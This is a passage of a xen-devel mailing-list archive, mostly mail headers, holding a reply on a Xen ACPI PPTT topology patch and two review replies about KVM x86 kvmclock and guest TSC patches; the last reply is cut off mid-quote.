 (envelope-from <taka@valinux.co.jp>)
 id 6a67e72b-5984-0a2a45010019-3465e48e2d81-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 01:18:05 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS7P286MB6971.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:42a::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Mon, 27 Jul
 2026 23:17:59 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Mon, 27 Jul 2026
 23:17:59 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ySFg5Wijlbjxsmepnd0525jY3hVsA2k6WrzREFFcBjOIs2Od0CHlx060OsevMMn912HEulxlgsAY7pCONPIUGwXKaKbcla5Phs0U5lOCJy84p4JzKIo9OJc3h4Dg2eQf/eoriV6yXXoY52GrNOqoYvg3tfOLZPq+1Yw1M7AeGp4YWLp4oueZGiy9Dy80g+Vnu0YcHWbv9BqZ1+Y+4u1vLrxqi4Bxo2aJtklOq3wJlXyt3S55Z9VLjhetS/C+Fun2WebUpII8aYWhRnweFHkBob0nencZyOQsCm7/tO4yUNz5ulEMbMwNow+lLmCH8qNcm3G2YeRanEXox0beQq1ONg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=vfJzogbwymaJ9OrHrtkVra8sDWWYllqiXZClkRHUJ4k=;
 b=kBcY4hV9vVoYwK9UTu6gSWxy28WxLqeMKPIe1YMVOpRnjGhpqGkubUqvyKrBouWNe153DORvx2KHUFAxJFd4yXVSA606mo/ruszjmG/igD7WlAbU6gyT+2ExthYsN5aufSy0prD/lCEn+kuhCEs/ycrw+kOVZcavEh/4fe1xDm/Xop2Lj5f5iK03peLq8DvksZcw/6AyBoAAOFv/GcCe0Tx2TZXF4qRE84UKQaNUvBozL/ZJQf5zfY7tfUCRN8B0nFvKAtt2pjTh4yjLdpeFbi6FSEGPnVnEVXTaSn4DOp8Ww3sBdauJa/yqeogGuPRvQhBz3YpDEoWzFczA1bgn4A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=vfJzogbwymaJ9OrHrtkVra8sDWWYllqiXZClkRHUJ4k=;
 b=WnxuVGHWJEdJeZDyDglTHQ+2OBzZezTSg24wHvCBa5b0hVtwMBAEk8YfXHOvqh+uHpxL0eIoycj+m5/7VcVDPwC4Mo6WNFIoDgyPuagsc7hDTU4pOWBb2NOaLDp7eaObbX9Kr5etXlZsMcwzyhAWQLLt6oY1VgbQTK5Wp/AtEvg=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger@xenproject.org>, Teddy Astie
	<teddy.astie@vates.tech>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v8 4/4] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Topic: [PATCH v8 4/4] xen/acpi: Parse PPTT to initialize CPU topology
Thread-Index: AQHdHJl7CqbIatZ8bkec5VHVmdD2PraBVbMAgACjEnA=
Date: Mon, 27 Jul 2026 23:17:59 +0000
Message-ID:
 <OS9P286MB72224026B966691F365263AC82CC2@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260726005517.379267-1-taka@valinux.co.jp>
 <20260726005517.379267-5-taka@valinux.co.jp>
 <7b7eec76-2d9d-4a08-8f63-4b3da321d5fa@suse.com>
In-Reply-To: <7b7eec76-2d9d-4a08-8f63-4b3da321d5fa@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|OS7P286MB6971:EE_
x-ms-office365-filtering-correlation-id: 0e3b401b-7ac9-4390-e565-08deec354c8d
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|7416014|366016|23010399003|1800799024|38070700021|4143699003|10067099003|56012099006|18002099003|22082099003;
x-microsoft-antispam-message-info:
 thsyW620Ib7o7UUTT/dU2GbgXNG3rbTSkA4xnVLNi8wBCPy2P3vg05o7I8jaY+xEC5+JmE4ZQkoapGcCcb3W955v2iB3Qi5ehJDknwgtq5yIQi+5hH5qAPFvDwJP+kPFScBhlvL85sFENUx6v2kNy8iwagP6X2xKARNCHPmDZ1VPGL1jdM7PN2u48RA4+NpdEY/Oy5vqjKSHSxflgEGkCKyO6oU90biIPppIVsf9RTkrAbNxfTkIatVm3CPYjaJq+4ho3IdF3woRouMUDjVeBhw4Q4dkvQB4v9HdWyv2BVRt9/QL6NE5eeIO6ujs24MJ7ooyWGXzh/iNu9iARle8qB32TE7VSgEiIS3j1DZE6vAfxEZ5XHoHO5v7OA3P8OnSj60CZMhUztrKidjQIJxIVC8+sLrZWSleNppprjx0ltR8KhlSxgzL1cMjZXa6zreS+l41wq4DHkrKoH2TWhQIYnZ/jgRlZtisC/Vl+xrhjpYkLKUw0Oqm7LElhPpXVnKGPg8eO/2XPpOW0j4KaxQSDrwxX8nRKR1fbIPCrJzDPcmFQm5ZipFK4Oqo571QpMylVKiNp+fkNRSlAl0keCPb7HoMnhkFTk8r7S8YB/6nC1SwWk8cEwRv7hXLP3cDJUU23LCWtUe/lzgiAeZcjClzhVtWT6851xWWspVt6tcxchnh0myXBO0q1FdCiGb+rjQcma+1RGIEbKXBRcOjtkOfgA==
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(366016)(23010399003)(1800799024)(38070700021)(4143699003)(10067099003)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?d21oNXpHZnMrOHRheUc3VEJrZkJFblFOSk9NdlRSTS9CTWhjTVpDRi9tdHpu?=
 =?utf-8?B?OFA3TkNaTXNyY1dkd2hjTHBFa0FRVzVJN2ZIKzR0WGJnem1MOGtIS01KdXNp?=
 =?utf-8?B?THpUdzFKZVFCN2xHMmg0WTFCZ01XU0ViVHYyYXZ5NTVpTkhOWlZzSkIxYTdO?=
 =?utf-8?B?UkQ3alo0OHE1R3RVMmRJVVl4MXdKcG85LzNCbm9tMndnN2k5QU14K3N0bkRK?=
 =?utf-8?B?Qi9OTnV2YTArNFI3dEF5ckp1SFhURHNkVEJMQkRkbzdOWE9Od2ZB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R2s3VnhUU3BFZCsxRlpzNDZ6?=
 =?utf-8?B?dXJKbnpwVGM2R2licVlYai94bHcybDJkdHFYdW5uUWkyamtZOHJsd241ZWtI?=
 =?utf-8?B?QUlSYXZyTDZMdWJmQ3pvNFFZd3hMdlJIZjJ6VkdnbmtQL2REQ3pVdGRJZjky?=
 =?utf-8?B?Vkk5bHdHS2xQVUhmTzk5c0Z4ellCYU9wTG5rZVdndWlUeTNIZWw2ZU5OTEVP?=
 =?utf-8?B?TnhvTXB6WWhIM29PeVRwVElJZFo5S0l6dlg3R0JGSk56ZG5BeUtlenVjMG1U?=
 =?utf-8?Q?CSOdTWn7Bzjb0Lmsv3?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 0e3b401b-7ac9-4390-e565-08deec354c8d
X-MS-Exchange-CrossTenant-originalarrivaltime: 27 Jul 2026 23:17:59.4920
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: hWB64Fg62UQdrIDjOVQ9RrFTmv2oIWO2QduPlRCbBuZ9z1a/krHBo9BKLM0dSOQX+mVKBp+ki4iktw02in+ywQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB6971
X-purgate-ID: tlsNG-d62444/1785194286-1E465757-E65B9B3E/0/0
X-purgate-type: clean
X-purgate-size: 4530

SGkgSmFuLA0KDQo+ID4gKyAgICB0YWJsZV9zaXplID0gc2l6ZW9mKCpwcm9jKQ0KPiA+ICsgICAg
ICAgICsgKHVuc2lnbmVkIGxvbmcpcH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sDQpIaXJva2F6dSBUYWthaGFzaGkuDQoN
Cg0K


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 00:50:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 00:50:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371988.1619397 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woW0w-0005Rb-0v; Tue, 28 Jul 2026 00:49:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371988.1619397; Tue, 28 Jul 2026 00:49:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woW0v-0005RT-ST; Tue, 28 Jul 2026 00:49:45 +0000
Received: by outflank-mailman (input) for mailman id 1371988;
 Tue, 28 Jul 2026 00:49:44 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3ovxnagYKCZUH3zC815DD5A3.1DBM3C-23K3AA7HIH.M3CEGD831I.DG5@flex--seanjc.bounces.google.com>)
 id 1woW0u-0005RN-GF
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 00:49:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woW0r-009Yu5-4v
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 02:49:41 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3ovxnagYKCZUH3zC815DD5A3.1DBM3C-23K3AA7HIH.M3CEGD831I.DG5@flex--seanjc.bounces.google.com>)
 id 6a67fc45-bab6-0a2a0a5309dd-0a2a4505c8e2-30
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:49:41 +0200
Received: from [209.85.210.198] (helo=mail-pf1-f198.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3ovxnagYKCZUH3zC815DD5A3.1DBM3C-23K3AA7HIH.M3CEGD831I.DG5@flex--seanjc.bounces.google.com>)
 id 6a67fca3-4cb1-0a2a45050019-d155d2c6d594-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:49:40 +0200
Received: by mail-pf1-f198.google.com with SMTP id
 d2e1a72fcca58-8485b7e18b4so765064b3a.1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:49:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785199779; x=1785804579; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=Rh58w/CoC195RwMUiGs5mRBV6pN+0fX10aJLkQo2qUM=;
        b=HspG83XKTe2fm177sypY5qoLcwTMmj3qC9UCY6vmVnU1Njsp+0j+uYOv9r0isaxsnA
         oWva8YkaW9YIJLBqdWeH6PLWF384+t8DcQ+fLYnMXORZkjm2ZrDk6x1+eWwT2meaQh/8
         GHkaDqznbpofAQhRHTnCTCk1VHCoYRtmhLfiwoh/Or+McsbzRgeEHcHC78q8bKBbEN4X
         ObQcKR4xZnTdHJJhDL/V56g1kCo7htgT++ENELqNhQByB7Hzjb4G0gg+4zc+3CcSF0JR
         NN6fO3vLN78unQh242uVjsMPCd/xtAUkpLvD/P29Qm/PgsnYVIZoc7AOpkcov17zN/2v
         xDTw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785199779; x=1785804579;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Rh58w/CoC195RwMUiGs5mRBV6pN+0fX10aJLkQo2qUM=;
        b=J+1EP2T1q8NArC+JjeZPAKJpn4/Zl4OXEK3O5M6tZg8/YEefeoLIfn6q7dMV4Ivjgq
         rswCrjcUgzA7l9cp/XbwtPyn8diBz5m93kKl6st+m5mY8jZ8npqy0CXFpEQ4UhDQlr3a
         4NXrKSfLu97RxRY2QQUbL/M5FdVBvc4PLoKICHIe/MMAL3OHZrYFbOlrpP+UNpAmvq23
         IXamOFuZrQX0RZq1x0Y4EoyslEEX68CbYLM2OFwFlPMtZltEupJbDFGdHLFSCFX+hPJL
         a+Zu071DWaYOpBJ/roJr4H9TClgn4zgHD4oDA/QDAoa/yhCkA1s5HQ8DYlBS+Ai6g8uX
         dzVg==
X-Forwarded-Encrypted: i=1; AHgh+Rp5vIY1pCNarNir3rEvkbURDhmaIy2MLpKxsXjrqby5yF08/evfBAYNzkQzEzD10As1W/RgJe0t2t8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzKvUXP1lS9aUyAFRwlpVe4YN2hqHLvltGhy8n+pmif8C1u6MYl
	l1fq+EfkdDxUfWtL7Nu/vwTcuOhI0lel34MsU/QFB77iFG7k+byIszhyZxa1suBzfi8EjPTjc0D
	2bvnG/g==
X-Received: from pfjd8.prod.google.com ([2002:a05:6a00:2448:b0:848:416d:e7f3])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:1743:b0:84a:2d5c:528c
 with SMTP id d2e1a72fcca58-84e93338791mr163480b3a.61.1785199778667; Mon, 27
 Jul 2026 17:49:38 -0700 (PDT)
Date: Mon, 27 Jul 2026 17:49:38 -0700
In-Reply-To: <19ec3f984a494a0d5e97b8d2fa843668b953a212.camel@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org> <20260703212145.343527-13-dwmw2@infradead.org>
 <amPZRkxTLE-rZcJf@google.com> <19ec3f984a494a0d5e97b8d2fa843668b953a212.camel@infradead.org>
Message-ID: <amf8okZRWIL2mds7@google.com>
Subject: Re: [PATCH v6 12/36] KVM: x86: Restructure get_kvmclock()
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-c201ff/1785199781-F44A42A1-65588D86/0/0
X-purgate-type: clean
X-purgate-size: 1708

On Sat, Jul 25, 2026, David Woodhouse wrote:
> On Fri, 2026-07-24 at 14:29 -0700, Sean Christopherson wrote:
> > =C2=A0
> > > Given that, the get_cpu()/put_cpu() pinning is not needed either: bot=
h
> > > the TSC read and get_cpu_tsc_khz() are CPU-independent when the maste=
r
> > > clock is in use, so drop them.
> > >=20
> > > Wrap the entire use_master_clock block in #ifdef CONFIG_X86_64, since
> > > use_master_clock is never true on 32-bit (host_tsc_clocksource is onl=
y
> > > set under CONFIG_X86_64), and declare hv_clock inside the block so it=
 is
> > > not left as an unused variable on 32-bit.
> > >=20
> > > Use 'continue' on the master-clock success path so the non-master-clo=
ck
> > > computation becomes the common tail, avoiding a goto and label. When =
the
> > > clock read fails (e.g. clocksource transitioning away from TSC), fall
> > > back to that path rather than proceeding with uninitialised data or
> > > spinning in the seqcount loop.
> >=20
> > Please split this up.=C2=A0 The changelog suggests there are at least t=
hree logical
> > changes here.=C2=A0 Yeah, the series is big, but smaller patches helps =
with review,
> > even if it results in more total patches.
>=20
> I don't think the latter two are separable; the refactoring of the
> ifdef and the loop and the way it breaks out to the tail are all
> intertwined. I may be able to pull the get_cpu()/get_cpu_tsc_khz() part
> out into a preliminary commit though. I'll take a look.

Yeah, that's totally fine.  I specifically want to isolate the removal
of get_cpu()/put_cpu() and the removal of __this_cpu_read(cpu_tsc_khz), if =
the
rest is an interwined mess, then so be it.



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 00:52:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 00:52:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371994.1619406 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woW39-0006vJ-Bm; Tue, 28 Jul 2026 00:52:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371994.1619406; Tue, 28 Jul 2026 00:52:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woW39-0006vC-8u; Tue, 28 Jul 2026 00:52:03 +0000
Received: by outflank-mailman (input) for mailman id 1371994;
 Tue, 28 Jul 2026 00:52:02 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3L_1nagYKCSQSEANJCGOOGLE.COMXEN-DEVELLISTS.XENPROJECT.ORG@flex--seanjc.bounces.google.com>)
 id 1woW38-0006v4-Iv
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 00:52:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woW37-001585-WA
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 02:52:02 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3L_1nagYKCSQSEANJCGOOGLE.COMXEN-DEVELLISTS.XENPROJECT.ORG@flex--seanjc.bounces.google.com>)
 id 6a67fcfd-5cb7-0a2a0a5109dd-0a2a4502d044-22
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:52:01 +0200
Received: from [209.85.214.197] (helo=mail-pl1-f197.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3L_1nagYKCSQSEANJCGOOGLE.COMXEN-DEVELLISTS.XENPROJECT.ORG@flex--seanjc.bounces.google.com>)
 id 6a67fd30-6ca4-0a2a45020019-d155d6c5e900-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:52:01 +0200
Received: by mail-pl1-f197.google.com with SMTP id
 d9443c01a7336-2caf4173b1cso63831015ad.3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:52:01 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1785199920; x=1785804720; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=GQi7x436nDykBGBr3THdmSxZ/qUpCFOrJDr01TocQQI=;
        b=Dr8jyTbPgiDhmm5ibgLdNjss2MSWy74eUmfcGsCRYP1ThCldKF2ZIzWlVEkDDYMK27
         WOFsZGZKUYpGVd67PVcF5Y9rIRzU3DiwEySm4YcQYFpiqe5UW5H5tCuPUwroyw19S8u2
         b5o3YJ8qXF8gkJX6fqPwIPc2Scw1pEDO9byJRneSQCgS31bf/Rp+VYXGwFECYXcolDbG
         NxBPC1y36EmnJv1YqANQhcpgLZh123hZgDS+tkoDkK8Hcct/dLrUvXBD+qMdiycrcK0V
         6GW3J6YxnfOmq3qde7WfuY8aKiikWP3wmNQLHluwsPEwsRkXR439wl0P0zio0Xq/8D2l
         QxTg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785199920; x=1785804720;
        h=content-transfer-encoding:content-type:cc:to:from:subject
         :message-id:references:mime-version:in-reply-to:date
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=GQi7x436nDykBGBr3THdmSxZ/qUpCFOrJDr01TocQQI=;
        b=dhCzKLo8U6/IwMfzGHb1DecVTpZBcWCFmUGTl/4jrHkvlE3N7JL1n6LeP5lrUOI8kX
         T4V4Opkhxj+0vfZhPfeD5thfEDYF8RrtrTrcuU1MOR4H4xQjA5sfUyioBlgaIVPfjKSw
         ZeRf70C2DvJMuT1YIeUBg3nBNF2kHAz4mo/3mdwddZguaenR3iJSZpG6Iu7r8c5ysn6P
         z3QbtYIQclXguAdhjDg0J6pyGVAe+z389THpxGhDfcmXW2sJ7zVDHtB+2wE9Pvzgofv1
         /BQao0x4wLkkSb4minju0VXtgMsXWmg5XYpa1EmFJQRub5EIt5fvpSmaycNvgiT4TvRj
         PThw==
X-Forwarded-Encrypted: i=1; AHgh+RqeWokM06q9iDOGcqjC3eoHDR1GchUd7cSMTdL2K/VgYdGZXAhsvG3ffQVnd9bTnv98L+7HOq9mYYs=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyUYe9/d7mVat61ZBQN8UqN+IkT4FJMHshdY1DQRdM6JGgnp6Dc
	tdZ5B6ROM/ceUJEIVNG9UXlbbcCJlpsxqoLnCAsr+moNwBym4eaFjHmKYhYMl6DDr7Y0AB/FnZr
	HcfiB8A==
X-Received: from plig13.prod.google.com ([2002:a17:903:458d:b0:2cc:ed0e:f302])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:ce11:b0:2c9:e5ff:995d
 with SMTP id d9443c01a7336-2d015f01e44mr1928135ad.31.1785199919741; Mon, 27
 Jul 2026 17:51:59 -0700 (PDT)
Date: Mon, 27 Jul 2026 17:51:59 -0700
In-Reply-To: <b38f67187d3312c4bf2c9eddf89e14e8b10573d6.camel@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org> <20260703212145.343527-16-dwmw2@infradead.org>
 <amPYq48J9TPbmFNl@google.com> <b38f67187d3312c4bf2c9eddf89e14e8b10573d6.camel@infradead.org>
Message-ID: <amf9L65ZlPOqJm7A@google.com>
Subject: Re: [PATCH v6 15/36] KVM: x86: Fix compute_guest_tsc() to handle
 negative time deltas
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-720697/1785199921-F16AF2AC-76DF51DC/0/0
X-purgate-type: clean
X-purgate-size: 1683

On Sat, Jul 25, 2026, David Woodhouse wrote:
> On Fri, 2026-07-24 at 14:27 -0700, Sean Christopherson wrote:
> > On Fri, Jul 03, 2026, David Woodhouse wrote:
> > > From: David Woodhouse <dwmw@amazon.co.uk>
> > >=20
> > > The compute_guest_tsc() function computes the guest TSC at a given
> > > kernel_ns timestamp. When the master clock reference point
